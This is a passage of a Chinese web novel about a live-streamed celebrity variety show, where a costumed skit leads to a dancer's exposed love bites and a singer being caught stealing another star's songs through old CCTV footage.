【……我瞎了还是出现幻觉了?这是季宁深?】 【救命啊!这身高这气质……还怪美的怎么回事?!】 可这份惊艳没持续多久,就被随后出场的两个身影彻底打破。 李柏和江砚舟穿着浅青色侍女服,头上还梳着双丫髻,你推我,我推你一起走了出来。 李柏还好,努力低着头缩小存在感,尽量迈着细碎的步子。 而江砚舟则完全是一副视死如归的表情,身体僵硬,每一步都走得咬牙切齿,那架势不像侍女护驾,倒像是押赴刑场。 【噗……江砚舟的表情看起来下一秒就要拔剑弑主了,哈哈哈哈!】 【他们俩不像侍女,活像是没阉干净的太监。】 江砚舟脸涨得通红,差点想闹罢工。 在他出声抗议之前,听见导演的旁白再次响起:“公主移步至二楼雅座,两名侍女紧随其后。一名侍女熟练地提起桌边茶壶,为公主斟上一盏温热的雨前龙井;另一名侍女则小心翼翼地扶着公主的手臂,将她引至座位旁。” 剧本里没指定谁斟茶、谁搀扶,全靠两人临场反应。 李柏眼疾手快,见茶壶就放在自己手边,立刻伸手端了起来。他专注地开始斟茶,仿佛那是天下最重要的工作。 于是,所有人的目光都聚焦在了江砚舟身上。 江砚舟直挺挺地杵在原地,眼神放空,试图假装自己不存在。 旁白顿了一下,带着笑意催促:“侍女动作快些,公主身子弱,可经不起久站。” 江砚舟咬着后槽牙,心里把节目组骂了千百遍,最终还是不情不愿地伸出手,一把搀住季宁深的手臂。几乎是半推半架地把这位“体弱多病”的公主按到了椅子上。 “公主,您请就座。”语气硬邦邦的,季宁深不用回头都知道对方绝对是在咬牙切齿。 就在这略显尴尬和诡异的气氛中,旁白声音再次响起:“公主正欲品茶,楼下忽然传来一阵爽朗笑声。一名身着粗布短打、腰挎佩剑的大汉迈步上楼。” 话音落时,江知雾的身影出现在楼梯口。 她穿的是件深灰色粗布短打,布料粗糙得能看见明显的棉线纹路,领口磨出了几处毛边,袖口卷到小臂时,能看见衣料边缘歪歪扭扭的针脚,无论怎么看,这套服装都透着股不修边幅的糙感,分明是按市井壮汉的模板量身定做的丑衣裳。 可偏偏穿在江知雾身上,愣是生出了截然不同的味道。 她气质绝佳,肩背舒展,宽大的粗布短打没把她衬得臃肿,反倒因为腰线收得利落,显出了清瘦却不单薄的轮廓,硬生生把丑衣裳穿出了江湖少年郎的肆意与风流。 弹幕安静片刻,紧接着刷过一整排的“啊啊啊”: 【卧槽!姐姐好帅!】 【神特么粗犷大汉,江姐姐帅我一脸好嘛!】 【这步伐,这气场,说是江湖顶尖门派的少主我都信。】 江知雾抬眼扫过二楼,目光很快锁定桌边的季宁深。 她先是脚步一顿,随即勾起唇角,大摇大摆地走了过去。 “哟,这茶楼里怎么还藏着位这般标致的小娘子?”她伸手就想去掀季宁深的面纱,手指刚碰到纱角,又像是突然想起什么,转而用指背轻轻蹭了蹭对方垂在身侧的衣袖,语气带着刻意拿捏的轻佻,“瞧这料子,摸着手感就不一样,定是哪家富贵人家的小姐吧?怎么独自来这闹哄哄的地方,就不怕被人拐走?” 说着,江知雾往前凑了凑,几乎要贴到季宁深面前,眼神直勾勾地盯着那双漂亮的桃花眼:“小娘子生得可真好看,就算戴着面纱,光看这双眼睛,都能让人魂不守舍。不如跟哥哥走,哥哥带你去吃最好的点心,看最热闹的杂耍,保准比在这儿枯坐着有意思。” 按剧本设定,季宁深此刻该露出惊慌失措的模样,厉声呵斥“登徒子”,可他望着江知雾近在咫尺的脸,竟一时忘了反应。 江知雾今日故意画了粗重的剑眉,可偏偏她眉眼轮廓精致,哪怕刻意扮糙,也不见丝毫油腻感,反倒更像是一位落拓不羁的江湖客在逗弄心上人。 在场大多数人都看直了眼,盯着江知雾发愣。 季宁深喉结不自觉地滚了滚,原本该出口的台词卡在喉咙里,一个字也说不出来。 【季大佬你在愣啥,该你说台词了!】 【笑死,我感觉这公主恨不得下一秒就跟登徒子私奔。】 【哈哈哈哈哈不行了,季宁深瞅瞅你那不值钱的样子!】 黄芷禾站在后台,透过幕布直勾勾地盯着正在调戏“公主”的江知雾。 她自幼学习舞蹈,功底还算扎实,本以为抽到舞姬角色是天赐的展示机会,肯定能成为全场的焦点。 但是谁能想到,江知雾反串个彪形大汉,居然都能轻轻松松抢走全场的注意力。 她心里憋着一股劲儿,暗暗下定决定要把风头给抢回来。 终于,在李乐乐和季念念演完英雄救“美”的剧情后,旁白提到了舞姬的出场:“……茶楼外忽然飘来一阵悠扬乐曲,三名身着艳丽舞裙的女子踏着节拍而来,她们是受邀为茶楼贵客献舞的舞姬,身姿曼妙,眼神中却藏着不为人知的心思……” 旁白未落,黄芷禾立刻提着裙摆上前,把江汀和宿姚都甩开了一截。 她特意抢在最中间的位置站定,等背景音乐响起,便率先旋身起舞,开篇就是个利落的点翻,足尖在地板上轻点,裙裾如绽放的牡丹般散开,紧接着又接了个高难度的鹞子翻身,长发随着动作甩成一道优美的弧线。 她的粉丝齐刷刷吹捧: 【芷禾的舞台表现力也太绝了吧,直接给我美出天际好吗。】 【翻身也好丝滑,明艳又灵动。】 【不管流言蜚语怎么伤害芷禾,她的实力最终会证明自己。】 黄芷禾感受到镜头重新聚焦在自己身上,心中不禁有些得意,动作越发卖力起来。 然而,乐极生悲。 或许是她太过投入,动作幅度过大,只听“刺啦”一声细微的轻响,她肩膀处本就有些宽松的纱衣系带突然崩开! 整片轻薄的纱制衣袖连同肩部的布料瞬间滑落,露出了她整个左肩乃至一小片光洁的背部! “啊!”黄芷禾惊呼一声,动作猛地僵住,脸上血色瞬间褪尽。她手忙脚乱地第一时间将衣服拽起来捂在胸前,试图掩盖。 但直播镜头的高清特写和无数双眼睛早已捕捉到了那一瞬的画面—— 在她白皙的肩头肌肤上,赫然印着几处清晰而暧昧的紫红色痕迹!那形状和颜色,但凡有点经验的成年人都能一眼认出是什么东西。 黄芷禾之前打造的一直是温柔姐姐、清纯玉女的形象,直播间的观众乍然看到这些痕迹,全部惊呆了: 【什么情况?黄芷禾身上怎么会有这个东西?她有男朋友了?】 【谁弄的啊?是圈内人还是圈外人?最近没听说她谈恋爱啊!】 【woc,看个直播也是给我吃到大瓜了。】 不只是弹幕,现场的嘉宾和工作人员也全都愣住了,空气仿佛凝固了一般,弥漫着极度的尴尬和寂静。 黄芷禾的脸红一阵白一阵,紧急思考借口。 “我……我有点不舒服。”她声音带着明显的慌乱,“可能是这布料太糙了,我皮肤过敏,得下去处理一下。” 说完,她也不管导演有没有同意,拎着裙摆就往后台跑,脚步快得像是在逃。 她一走,直播间里的讨论更激烈了: 【过敏?骗鬼呢!当我们三岁小孩啊!】 【信息量好大,我感觉她在我心里的形象进一步崩塌了,还好脱粉快。】 【你爱脱粉就脱,芷禾不需要你这种意志不坚定的粉丝!我会无条件相信芷禾的!】 【就是,垃圾节目组准备的什么破衣服,质量差还导致我们芷禾过敏被误会!】 黄芷禾仓惶逃离现场,留下满场尴尬和一片哗然的直播间。 嘉宾们面面相觑,眼神里都写着不同程度的震惊和不知所措。 李乐乐最先回过神来,下意识地用手掩着嘴,极小声音地嘀咕:“我的天……难怪她最近总是穿高领衫或者带袖子的衣服,捂得严严实实的,我还以为她是怕晒,原来是为了遮这些痕迹啊……” 众人 偷偷看向站在不远处的江汀,大家都觉得作为黄芷禾的弟弟,他应该会知道点什么。 但江汀也是一脸意外,显然对黄芷禾的事情并不知情。 场上的僵局持续了不过十几秒,导演就率先反应过来。直播还在继续,总不能一直僵在这里。 他清了清嗓子,拿起喇叭,刻意拔高了几分音量,试图用热情掩盖刚才的尴尬:“咳!看来芷禾是真的不太舒服,那我们先让她去后台休息,舞姬的戏份咱们稍后调整,先继续往下走剧情啊!来,知雾、宁深,咱们回到刚才的场景,大汉被侠客‘制服’后,该轮到公主开口了……” 导演的话像是一道指令,让工作人员和嘉宾们都强迫自己拉回注意力,继续投入到表演中。 黄芷禾的粉丝像被点燃的炮仗,在公屏上刷屏式地发泄着不满。 【什么破节目组啊!衣服质量差到崩开就算了,芷禾都过敏不舒服跑后台了,你们不赶紧暂停直播去处理,还有心思接着拍?有没有点人道主义精神。】 【就是!万一芷禾过敏严重了怎么办?你们负得起责任吗?道具组是吃干饭的吗?连件合格的衣服都准备不好。】 【节目组必须给个说法!不然我们绝不罢休!凭什么让芷禾受这种委屈!】 路人和看热闹的网友则毫不客气地回怼: 【节目组倒了血霉,还得替你们正主背锅?】 【粉丝洗地也动动脑子,谁过敏能是那种形状啊。】 黄芷禾的粉丝们面对路人毫不客气的话,他们似乎也有些理屈词穷,气得不行。 而此时,表演还在继续。 “舞姬们”在旁白的示意下,开始露出庐山真面目,准备刺杀季宁深饰演的公主。 而暨明旭饰演的琴师与舞姬配合,他双手在古琴上十指翻飞,琴音时而如惊涛拍岸,裹挟着凛冽杀意;时而似松缓轻快,扣人心弦。 即便抛开剧情,单论这段弹奏,也足以让人心生赞叹。旋律抓耳,技法过关,每一个音符都精准地踩在情绪节点上,将茶楼里的氛围推向高潮。 弹幕上有人忍不住感叹: 【虽然我不懂古琴,但听着就感觉很厉害,气势出来了!】 【这旋律好好听,他弹的是谁的曲谱?】 暨明旭的粉丝见状,立刻抓住机会开始安利: 【哈哈哈明旭弹的不是别人的歌哦!这是他几年前就写好的曲子,当时还发过片段在微博呢!】 【对对对!我去找过!他五年前的微博里有好多类似的demo,风格跟现在弹的一模一样。】 【大家快去搜@暨明旭的微博,考古能发现好多宝藏~他才是被埋没的原创大神啊。】 【温馨提示:某江姓顶流后来出的歌,跟明旭这些早期作品撞风格撞旋律的有不少首,只能说懂得都懂吧~】 江砚舟的粉丝反击: 【话不多说,就拿事实说话,砚舟随手即兴创作的歌,给你们正主八百年都写不出来。】 【别来碰瓷小江同学了好吗,你们不烦我都要烦了。】 双方粉丝各执一词,弹幕吵得不可开交。 暨明旭弹完最后一个音符,即兴表演也随之结束。 导演把每一位嘉宾都夸了一遍,在说到暨明旭的时候,他顿了顿。 作为有点音乐素养的人,导演能听出暨明旭和江砚舟的某些歌有相似之处,他怕卷进这场枪手的争议里,所以只是含糊夸了几句。 暨明旭谦虚地说:“谢谢导演夸奖。其实刚刚那几首歌,也都是偶然间来了灵感才写出来的。” “哦?”季宁深挑了挑眉,“怎么说?” 暨明旭清了清嗓子,将昨晚偷听到的内容一字不落复述出来:“我弹的《晚风遇蝉鸣》,副歌本来想写得更沉一点,改了三次才改成现在这种有张力的感觉。还有间奏的和弦,是因为当时家里的旧钢琴走音了,我顺着那个不准的音摸索,反而找到了更特别的走向……” 他说得绘声绘色,连细节都分毫不差,仿佛真的是他亲身经历的创作过程。 说完,他还特意补充了一句:“创作就是这样,灵感来源于生活,每一个细节的修改都充满了当时的思考和情绪。只有真正经历过这个过程的人,才能清晰地记住每一个节点。江前辈,你说是吧?” 江砚舟淡淡地看了他一眼,勾唇:“是啊。” 暨明旭的粉丝仿佛拿到了铁证,在弹幕上得意洋洋: 【明旭说得这么详细,这要不是原创,谁能记得这么清楚?】 【打脸了吗?舟粉要不再站出来唠唠,你们正主能说出这么细节的东西吗?】 【有时间线+创作思路,明旭才是原创这件事铁证如山了姐妹们。】 …… 弹幕上充斥着对江砚舟的嘲讽和质疑。 李柏站在江砚舟旁边,哪怕再憨也听出了点微妙。 联想到近期网上的争议,李柏有点着急。 他情感上还是更愿意偏向于江砚舟的,也不相信以对方这么狂傲的性格,会去请枪手帮忙写歌。 于是李柏小声催促:“砚舟,你要不也说说你创作那几首歌的想法?你肯定也记得的,对吧?” 所有人的目光都集中到了江砚舟身上。 可江砚舟慢悠悠地抬了抬眼,语气平淡地说:“我没什么好说的。” 这话一出,李柏直接愣住了,而暨明旭却丝毫不觉得意外。 毕竟他已经把江砚舟要说的话都说完了,对方还能再讲些什么呢? 暨明旭的粉丝更是抓住这句话大做文章,弹幕里的嘲讽越来越难听: 【哈哈哈果然不是自己写的歌!连思路都编不出来!】 【没什么好说的=无话可说=承认请枪手了呗!】 【之前还装得挺像那么回事,现在纸包不住火了就开始摆烂?真丢人。】 现场所有人都因为这出插曲而尴尬不已,只有江知雾神色平静,表情若有所思,唇角竟然还有极浅的笑意。 而季宁深不知何时也已好整以暇地站直了身体,双臂环抱在胸前,并不为闹剧所动。 暨明旭见江砚舟不反驳,粉丝又占了上风,越发得寸进尺:“其实我也不是想追究什么,只是觉得原创不易,希望有些人能尊重别人的劳动成果,别强买强卖,拿着别人的心血当自己的跳板。” 他话里有话,句句都在暗指江砚舟逼他卖歌,试图营造自己受害者的形象。 江砚舟终于抬起眼皮看他:“暨老师说得对,原创确实不易,所以每一个创作细节,都该经得起推敲,对吧?” 暨明旭愣了一下才谨慎点头:“当然。” “那我倒是有个问题想请教你。”江砚舟的目光落在他身上,眼神里似乎带着淡淡的好奇,“你刚才说,《晚风遇蝉鸣》间奏的和弦是因为家里旧钢琴走音,顺着不准的音摸索出来的?” 暨明旭心里莫名一紧,却还是硬着头皮点头:“没错,当时钢琴的中音区偏了半个音,我顺着那个错音弹,反而找到了新的曲调。” 江砚舟没立刻接话,而是走到旁边的电子琴前,指尖轻轻按了几个键位——正是《晚风遇蝉鸣》间奏里最具辨识度的那组。 “你说的是这个和弦吧?”他抬眼看向暨明旭,“可这组和弦的根音是升F,旧钢琴就算走音,最多是音高偏差,不可能改变音程结构。要是按你说的,从中音区里摸索,最多能弹出降F的根音,怎 么会凭空多出半个音?” 暨明旭的脸“唰”地白了,他只能胡乱扯道:“可能……可能我记错了,当时的钢琴不是中音区走音,是低音区?” “哦?低音区?”江砚舟挑眉,又弹了组低音区的和弦,“那更不对了。你这首歌的间奏用的是高音区和弦,清亮感才够,要是从低音区摸索,写出来的和弦只会沉闷,跟现在的版本完全不是一个风格。” 他顿了顿,质问道,“暨老师,你连自己‘创作’的歌曲用什么音区都记不清吗?” 暨明旭的额头渗出冷汗,含糊地说:“都过去这么久了,细节记不清很正常……” “细节记不清?”江砚舟轻笑一声,带着毫不掩饰的嘲讽,“那好,我们再聊聊你刚才提到的另一首——《星夜》。你说这首歌的主歌旋律,是某个夏夜,看到猎户座的腰带三星连成线,才有了灵感的,是吗?” 暨明旭眼神闪烁。 他昨晚偷听到江砚舟说“看星星找灵感”时,他只觉得这细节够浪漫、够有画面感,压根没多想,直接照搬过来。 此刻被江砚舟单独拎出来问,暨明旭总觉得哪里不对劲,却只能僵硬地点头:“是……是有这么回事。” 江砚舟微微一笑,走到布景的窗边,手指虚指了个方向:“暨明旭,你应该不知道吧?猎户座在北半球的冬季才会清晰可见,夏天的夜晚几乎是看不到猎户座的。你为什么撒谎?!” 暨明旭的身体晃了晃,差点站不稳。他看着江砚舟嘲讽的眼神,终于明白过来—— 自己从一开始就掉进了对方设好的陷阱里,那些偷听到的“细节”,全是江砚舟故意留下的破绽! 他本以为江砚舟是个冲动无脑的莽夫,却没想到对方心思如此缜密,竟然用这种方式给他下套。 江砚舟上前一步,逼视着暨明旭:“你能如此‘流畅’地说出这些看似详尽的创作过程,却漏洞百出,连最基本的音乐常识都能搞错。那么只有一个解释——” 他的声音掷地有声:“这些歌,根本不是你写的!” 第52章 江砚舟掷地有声的质问,让原本还在为暨明旭冲锋陷阵的粉丝瞬间哑火,弹幕也陷入了一片混乱: 【卧槽,这是反转了吗?!】 【等等等等,我脑子有点跟不上!所以江砚舟的意思是,暨明旭才是那个作品存疑的人?!】 【音乐生来了!刚才就想说,暨明旭说钢琴走音那个真的太扯了,走音是音高不准,但音程关系、和弦结构是不会变的。】 【音乐我是不懂,但作为天文爱好者我可以肯定地说,整个六月、七月和八月的夜晚,猎户座要么在地平线以下,要么非常接近地平线,被大气层和黄昏、黎明的光辉所影响,几乎不可见。】 【哈哈哈哈那暨明旭说灵感来源于夏夜观赏猎户座,这不赤裸裸瞎编嘛。】 暨明旭站在原地,脸色惨白如纸。 他不断告诉自己要冷静,这时候如果表现出任何慌张,会加深观众们对他的质疑。 他抓紧了最后一根救命稻草:“江前辈,虽然我很尊重你,但你少在这里混淆视听!我的微博、我的草稿箱,明明记录得清清楚楚,这些旋律和片段早在三年前就发布了!比你江砚舟发行任何一首相关歌曲都要早!这你怎么解释?!” 暨明旭死死盯着江砚舟,像是抓住了最后一根救命稻草—— 毕竟那些早年的demo片段确实存在,只要江砚舟拿不出更早的创作证据,他就能继续狡辩。 可江砚舟只是勾了勾唇角,语气意味深长:“证据?暨老师,你又怎么知道我没证据呢?” 轻飘飘一句话,却让暨明旭心惊肉跳。冷汗顺着他的脊背往下淌,暨明旭下意识觉得江砚舟是在诈他。 他强行压下心头的恐慌,色厉内荏地强调:“清者自清!我相信网友的眼睛是雪亮的,时间线就是最好的证明。” 导演眼看场面即将彻底失控,赶紧拿起喇叭打圆场:“好了好了!关于音乐创作的话题,我们私下可以再交流探讨!现在到休息时间了,咱们先回房间调整一下,下午再继续录制。” 直播信号被暂时切断,但直播间里的讨论却丝毫未停,反而愈演愈烈。 休息时间,嘉宾们各自散开,李乐乐、宿姚等人似乎都有话想说,但最终还是选择先把空间留给处在争议中的两人。 江知雾故意放慢脚步,落在队伍后面。果然,刚拐过走廊拐角,一道身影就兴冲冲地跑了过来,正是江砚舟。 “姐!”他跑到江知雾身边,笑嘻嘻地邀功,“我给暨明旭下的套,够厉害吧?” 他脸上是毫不掩饰的“快夸我”的小得意,哪里还有半分刚才在镜头前逼视暨明旭时的锐利和压迫感。 江知雾侧头看他,忍不住弯起唇角,眼中流露出赞许和一点骄傲:“嗯,引蛇出洞,请君入瓮,让他自己露出马脚,做得漂亮。” 得到姐姐的肯定,江砚舟更得意了,下巴抬得更高:“那当然!这只是给他的小小回击,我还有后招呢!” 江知雾看着弟弟这副志在必得、神采飞扬的小模样,忍俊不禁。 她轻轻揉了揉对方的脑袋,笑说:“那姐姐就等着看你的后招了,加油。” * 今日的《推开家门是你》综艺直播,可谓高潮迭起,瓜田丰收。 先是黄芷禾跳舞时意外衣衫崩裂,肩颈处暧昧痕迹暴露无遗,清纯玉女人设遭遇史诗级崩塌;紧接着暨明旭被江砚舟当场戳穿谎言,所谓的“原创才子”面目存疑。 两桩大戏接连上演,直播间的观众和全网吃瓜网友都看得目瞪口呆。 而处于风暴中心的黄芷禾,却在直播中断后的第一时间,就被一辆不起眼的黑色轿车接走,悄然驶向了市中心一家隐私性极高的星级酒店。 顶层的总统套房里,黄芷禾早已哭得梨花带雨,精心化好的妆容被泪水晕开,显得格外楚楚可怜。 她蜷缩在柔软的真皮沙发里,单薄的肩膀微微颤抖,抽噎着向坐在身旁的中年男人诉苦:“刘总,您不知道我当时有多难堪……那么多镜头对着我,所有人都看到了!他们肯定都在笑话我……” 看着黄芷禾哭得通红的眼睛和鼻尖,刘世昌确实产生了几分怜香惜玉之情。 他伸出手,将黄芷禾揽进自己怀里,语气带着安抚:“好了好了,别哭了,一点小意外而已,没什么大不了的。” “可是、可是网上现在肯定都传遍了……”黄芷禾抬起泪眼朦胧的脸,声音带着哭腔,“我以后还怎么在圈里待下去啊……” 刘世昌混迹传媒行业多年,什么风浪没见过,这点娱乐圈的绯闻在他看来根本不值一提。 他嗤笑一声说:“放心吧,有我在,这点小事还能摆不平?回头我让公关团队去跟节目组交涉,再发几个通稿,把话题引到道具组失职上,保证没人再敢乱嚼舌根。” 黄芷禾在刘世昌的安抚下渐渐平静下来:“要是没有您,我真不知道该怎么办了。” 刘世昌很享受这种被依赖和崇拜的感觉,尤其是怀里的女人年轻漂亮,又懂得讨好,他正想再说几句温存话,放在西装内袋的手机却不合时宜地响了起来。 他皱了皱眉,掏出手机一看,屏幕上闪烁的来电显示赫然是——“老婆”。 他的脸色几不可 查地沉了一下,眉宇间掠过一丝显而易见的不耐烦。 黄芷禾也看到了那个来电显示,她立刻噤声,连呼吸都放轻了些,神色慌张又心虚。 刘世昌几乎没有犹豫,指尖在屏幕上一划,直接挂断了电话。紧接着,他手指在屏幕上快速敲击,发了一条只有三个字的消息:“在开会。” 发送成功后,他随手将手机扔回床头柜,仿佛刚才只是挂了个无关紧要的骚扰电话。 他转头对黄芷禾说:“别管那些无关紧要的人,咱们说咱们的。晚上想吃点什么?我让酒店准备你爱吃的帝王蟹怎么样?” 黄芷禾将这一切看在眼里,心里忽然涌上一股复杂的情绪。 一方面,她因为刘世昌对妻子的敷衍而感到熨帖——他愿意为了自己挂断妻子的电话,是不是说明自己在他心里真的很重要? 可另一方面,她又忍不住茫然:自从知道她傍上刘世昌,父亲江明启对她的态度越发重视,也更加和蔼。 可以说,黄芷禾现在所拥有的高奢包包、衣服、化妆品、甚至父亲的宠爱,都是靠着刘世昌来维系的。 但要是有一天刘世昌厌倦了她,她又该何去何从? 黄芷禾抬起头,看着刘世昌那张带着酒意的脸上,张了张嘴,想问些什么,最终却还是把话咽了回去。 而黄芷禾的事情并未在网上掀起太多波澜。相较于她的事情,网友们显然更热衷于围观江砚舟与暨明旭之间的原创争议。 暨明旭的反应迅速,在直播中断后不久,他的个人微博就紧急更新了一条动态。没有直接回应质疑,而是po出了几张年代久远、像素模糊的照片。 照片里是北城冬天一间狭窄破旧的出租屋,墙皮剥落,窗户框上结着冰霜。地上散落着大量泛黄的音乐理论书籍、手写乐谱,以及一把看起来十分廉价的木吉他。 配文是:【北漂第六年,冬天没有暖气,但心里有火,梦里有光。感谢所有质疑,它们只是让我更强大的燃料。】 这条微博瞬间点燃了粉丝的怜爱和保护欲。 【呜呜呜哥哥当年也太不容易了!在这么艰苦的环境下还坚持创作,不愧是我粉上的人。】 【哥哥别怕,我们永远相信你!时间线摆在那里,就是不容辩驳的证据!】 【江砚舟有背景,有团队,可我们明旭只有一腔对音乐的热爱,愣是凭着自己的努力走到今天,黑粉又凭什么质疑他?】 粉丝们群情激愤,一边心疼暨明旭的过往,一边在江砚舟的微博评论区刷屏辱骂。 然而,细心的网友发现,Zelon男团的其他几位成员此次集体保持了沉默,没有一人转发或声援,这微妙的氛围让部分路人产生了更多的怀疑。 江砚舟的粉丝则毫不示弱,精准反击: 【暨明旭这几张照片po出来,疑点更多了好吗?他说《晚风遇蝉鸣》某一段是钢琴走音时意外诞生出旋律,可就他当时的条件,哪来的钱买钢琴?】 【笑死,晒旧书旧手稿就是原创了?那我把我小学古筝十级证书晒出来是不是也算原创音乐人了?】 而此时节目组临时搭建的后台。 江砚舟正窝在沙发上漫不经心刷手机,后颈却被某个微凉的东西贴了一下。 他一个激灵回头,对上季宁深那双沉静的眼眸。 “你让我帮忙查的东西,有线索了。”季宁深摊开手掌,一枚小巧的银色U盘静静躺在他的手里。 “OK。”江砚舟眼睛一亮,立刻伸手接过U盘,准备回房间用电脑查看。 刚迈出一步,江砚舟似乎才想起该说些什么,有些别扭地冲季宁深开口:“谢……谢谢。” 声音不大,像是蚊子哼哼,若不仔细听,几乎要被房间里的空调声盖过。 季宁深挑了挑眉:“嗯?你说了什么?我没听清。” 江砚舟攥紧拳头,深吸了一口气:“我说,谢谢。” “你声音太小了,还是听不清。能再大声点吗?”季宁深露出了无辜但认真的神情。 江砚舟本就不擅长表达感谢,被季宁深这么一逗,脸颊瞬间染上一层薄红。 早知道这件事就不该拜托给对方查! 他梗着脖子,对着季宁深大声吼道:“我说谢谢!听到了吗?!” 吼完,他像是怕被对方再调侃,抓起U盘转身就走,背影透着几分落荒而逃的意味。 看着他仓促的身影,季宁深心情很好地笑出了声。 而此时,江砚舟的微博评论区早已沦陷。 暨明旭的极端粉丝们被偶像“北漂追梦”的卖惨博文点燃保护欲,成群结队涌入江砚舟的主页,用不堪入目的言论疯狂攻击。 【背景咖滚出乐坛!别以为有资本撑腰就能颠倒黑白,我们会一直守护明旭!】 【做人能不能别这么不要脸,占用别人的心血享受你顶流的荣誉。】 【明旭在出租屋冻着写歌的时候,你还不知道在哪享受呢,现在倒好意思抢功劳?】 章文时手指划过这些言论时,气得太阳穴突突直跳。 “这群粉丝是不是没长脑子?!”他忍不住低吼出声,“随随便便几张卖惨的照片,就能被带起节奏了!” 章文时从业十几年,见过不少艺人之间的纠纷,可像这次这么憋屈的还是头一回。他比谁都清楚江砚舟的才华,那些被质疑“撞车”的歌曲,每一段旋律、每一句歌词,都是江砚舟反复打磨出来的。 可偏偏暨明旭提供的证明时间,全部都在江砚舟歌曲发布之前。 章文时百思不得其解:“真是邪门了,怎么就那么巧,撞一首就算了,还撞好几首?” 就在这片混乱和质疑声中,江砚舟的微博大号突然更新了一条动态,没有多余的文字,只有一段时长两分半钟的监控视频,以及一句说明: “三年前,北城音乐培训中心基础教室。我确实拿不出比你@暨明旭更早的时间证明,不过,我倒是发现了点更有趣的东西。” 所有正在疯狂刷屏的粉丝、看热闹的路人、以及紧盯着事态发展的媒体和同行,都在第一时间点了进去。 视频画面是常见的教室监控视角,像素不算极高,但足以看清人物的面容和动作。右上角显示着清晰的时间戳:三年前,8月17日,下午14:23。 画面里,年轻些许的江砚舟正抱着歌篮球,被几个同样年纪的朋友嬉笑着推搡着往外走,似乎急着去某个地方。 “舟哥快点!球场快没位置了!” “来了来了!催什么!”少年江砚舟笑着回应,随手将几张写满了音符和歌词的纸张扔在身旁的课桌上,脚步匆匆地跟着朋友跑出了教室。 教室渐渐安静下来,只剩下角落里还坐着一个身影。 那人穿着朴素,低着头,似乎在一笔一划地认真记着笔记,存在感极低。但当江砚舟一行人吵闹着离开后,他缓缓抬起了头。 熟悉的粉丝一眼就能认出,这是暨明旭。 他警惕地左右张望,确认教室彻底空无一人后,目光精准地锁定了江砚舟刚才随意扔下的那叠手稿。 几乎没有犹豫的,他立刻起身,快步走到那张课桌旁,动作迅速地拿起最上面的几张乐谱纸,眼睛贪婪地扫过上面潦草却灵动的旋律线条和歌词片段。 大概半分钟后,暨明旭从口袋里掏出手机,调整好角度,对着手稿一页页拍摄。 做完这一切后,他又快速将手稿恢复原状,小心地按原来的顺序放回桌面,然后像什么都没发生一样,快步回到了自己角落的位置,重新低下头,恢复了那副安静认真的模样。 视频到这里戛然而止。 沉默。 全网死一般的沉默持续了大约十几秒。 随即,评论区直接沸腾了。 【三年前……那时候暨明旭还在参加选秀节目前的地下培训吧?所以他是靠着偷来的东西出道成名的?!】 【难怪平板里的手稿时间比江砚舟早,原来早就把人家的创作偷去了,提前留下时间记录,抢占先机,这算盘打得 也太精了吧。】 【哈哈哈哈暨明旭肯定觉得江砚舟拿不出原创的自证,结果江砚舟反手就是釜底抽薪,直接甩出高清□□监控反过来锤你盗用作品。】 第53章 暨明旭偷窃手稿的事情,在第一时间冲上了热搜。 先前那些为暨明旭冲锋陷阵、言辞激烈的粉丝们集体失声,面对铁证完全说不出话。 只有极少数最死忠的、或者说最不愿面对现实的粉丝,还在负隅顽抗,零星地刷着“视频是合成”之类的言论,但这些声音很快就被网友群嘲为嘴硬,显得可笑又苍白。 各大音乐平台迅速行动,将所有暨明旭参与的歌曲暂时下架,待后续调查结果;品牌方也紧急发布声明,终止与他的所有合作,原本敲定的代言资源一夜之间化为泡影。 暨明旭坐在节目组安排的房间里,看着手机屏幕上不断弹出的负面消息,指尖冰凉。 而没等他想好对策,经纪人的电话就打了进来。暨明旭犹豫了几秒,还是划开了接听键。 “暨明旭,你为什么要骗我?”电话那头传来经纪人疲惫又失望的声音,“我当初问你那些作品是不是原创,你拍着胸脯跟我保证没问题,说都是你熬了无数个夜晚写出来的。我信了你,花了多少资源给你铺路,帮你立‘原创才子’的人设,你心里不清楚吗?” 暨明旭咬着牙,脸色阴沉得能滴出水来,却一句话也反驳不了。 “我知道你一直想摆脱zelon单飞,你想单飞我能理解,圈子里谁不想更上一层楼?可你为什么要走歪路?”王哥长长叹了一口气,“这种偷来的热度能维持多久呢?你选择的不是捷径,而是在把路走窄啊!你让我怎么跟公司交代?怎么跟你的团队交代?怎么跟支持你的粉丝交代?” “够了!”暨明旭猛地低吼出声,打断了经纪人的话,语气暴躁而不耐烦,“事到如今说这些有什么用?!你不就是觉得我没价值了,想放弃我吗?不用你假惺惺!你不帮我就别在这里啰嗦教训我!” 说完,他根本不给经纪人再开口的机会,狠狠按断了电话。 随后,暨明旭迅速做出判断,准备先离开节目组这个是非之地,等风头过去再想办法公关。 他戴上黑色口罩和鸭舌帽,将自己裹得严严实实,小心翼翼地拉开房门,做贼似的左右张望了一下。 走廊空无一人,其他嘉宾似乎都在楼下客厅聊天休息。 他心下稍安,压低帽檐,快步绕过客厅,朝着出口的方向走去。 就在他即将迈出大门的那一刻—— “坏人!” 一个清脆又响亮的小孩声音骤然响起。 暨明旭浑身一僵,还没反应过来,就感觉自己的衣角被人从后面死死拽住。 他惊慌回头,只见不知道刚钻到哪个角落玩的季念念,正仰着小脸,圆溜溜的大眼睛毫不畏惧地瞪着他,小手攥得紧紧的。 “你是坏人!你偷了砚舟哥哥的歌!还诬陷他!”小团子也不知道是从哪听到了只言片语,小脑瓜一拼凑,就还原了事实真相,“你不许走,必须向砚舟哥哥道歉!” 季念念的喊声惊动了其他人。 原本各自休息、小声讨论着刚才风波的嘉宾和工作人员,纷纷转头看了过来。 无数道目光如同聚光灯般瞬间聚焦在他一人身上,探究的、鄙夷的、了然的、冷漠的……种种情绪交织成一张无形的网,将他牢牢钉在原地,无所遁形。 而最让暨明旭如芒在背的,是宿姚的眼神。 宿姚就双手插兜远远看着他,神色异常平静,仿佛早就洞悉了一切。 被这么多人的目光盯着,暨明旭只觉得口罩下的脸颊都在发红发烫。 他想挣脱季念念的手,可对方抓得很紧,小小的身子却带着一股倔强的力气,怎么也甩不开。 “你放开我!小孩子懂什么,别在这里胡说八道!”暨明旭的声音因为紧张而有些变调,带着一丝不易察觉的慌乱。 “念念没有胡说!”小团子丝毫不让步,“所有人都知道你是个小偷!” 江知雾慢慢走了过来,站在季念念身边,轻轻把小团子拉开,怕她会被恼羞成怒的暨明旭弄伤。 然后,她看向暨明旭,语气平静却带着不容置疑的力量:“暨明旭,念念说得没错。你偷了我弟弟的作品,污蔑他的原创,现在证据确凿,你难道不应该给我们一个说法吗?” 